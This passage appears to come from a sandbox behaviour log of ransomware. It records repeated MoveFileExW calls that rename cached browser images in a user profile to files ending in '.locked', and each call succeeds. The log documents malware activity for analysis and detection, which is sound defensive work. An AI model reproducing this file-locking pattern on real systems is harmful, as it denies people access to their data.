Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04o2[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04o2[1].jpg.locked"), dwFlags=0x2) returned 1 [0146.947] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04ok[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04ok[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04ok[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04ok[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.111] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04we[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04we[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04we[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04we[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.127] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC05rl[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc05rl[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC05rl[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc05rl[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.132] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC05rl[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc05rl[2].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC05rl[2].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc05rl[2].jpg.locked"), dwFlags=0x2) returned 1 [0147.150] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0ATj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0atj[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0ATj[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0atj[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.156] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0D8i[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0d8i[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0D8i[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0d8i[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.166] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0g7a[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0g7a[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0g7a[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0g7a[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.177] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0w1b[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0w1b[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0w1b[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0w1b[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.194] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0xLt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0xlt[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0xLt[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0xlt[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.200] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBDWA22[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbdwa22[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBDWA22[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbdwa22[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.206] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBE7d3b[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbe7d3b[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBE7d3b[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbe7d3b[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.218] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBE85ld[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbe85ld[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBE85ld[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbe85ld[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.229] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdckp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedckp[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdckp[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedckp[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.234] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdMci[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedmci[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdMci[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedmci[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.247] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdSLV[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedslv[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdSLV[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedslv[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.252] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe2Pd[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee2pd[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe2Pd[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee2pd[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.271] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe4Oo[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee4oo[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe4Oo[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee4oo[1].png.locked"), dwFlags=0x2) returned 1 [0147.282] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe6Ew[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee6ew[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe6Ew[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee6ew[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.293] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeFp3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeefp3[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeFp3[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeefp3[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.297] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeGwU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeegwu[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeGwU[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeegwu[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.303] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeUg0[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeeug0[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeUg0[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeeug0[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.330] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeZnr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeeznr[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeZnr[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeeznr[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.345] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEf5Lq[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbef5lq[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEf5Lq[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbef5lq[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.353] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEfwtU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbefwtu[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEfwtU[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbefwtu[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.358] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEfzSd[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbefzsd[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEfzSd[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbefzsd[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.368] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgCuQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegcuq[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgCuQ[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegcuq[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.377] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgHzB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeghzb[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgHzB[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeghzb[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.408] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIl2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegil2[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIl2[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegil2[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.428] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIl2[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegil2[2].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIl2[2].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegil2[2].jpg.locked"), dwFlags=0x2) returned 1 [0147.446] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIyL[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegiyl[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIyL[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegiyl[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.464] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgkY6[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegky6[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgkY6[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegky6[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.470] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgLzV[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeglzv[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgLzV[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeglzv[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.494] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgUri[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeguri[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgUri[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeguri[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.505] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgXBv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegxbv[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgXBv[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegxbv[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.510] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgZME[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegzme[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgZME[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet 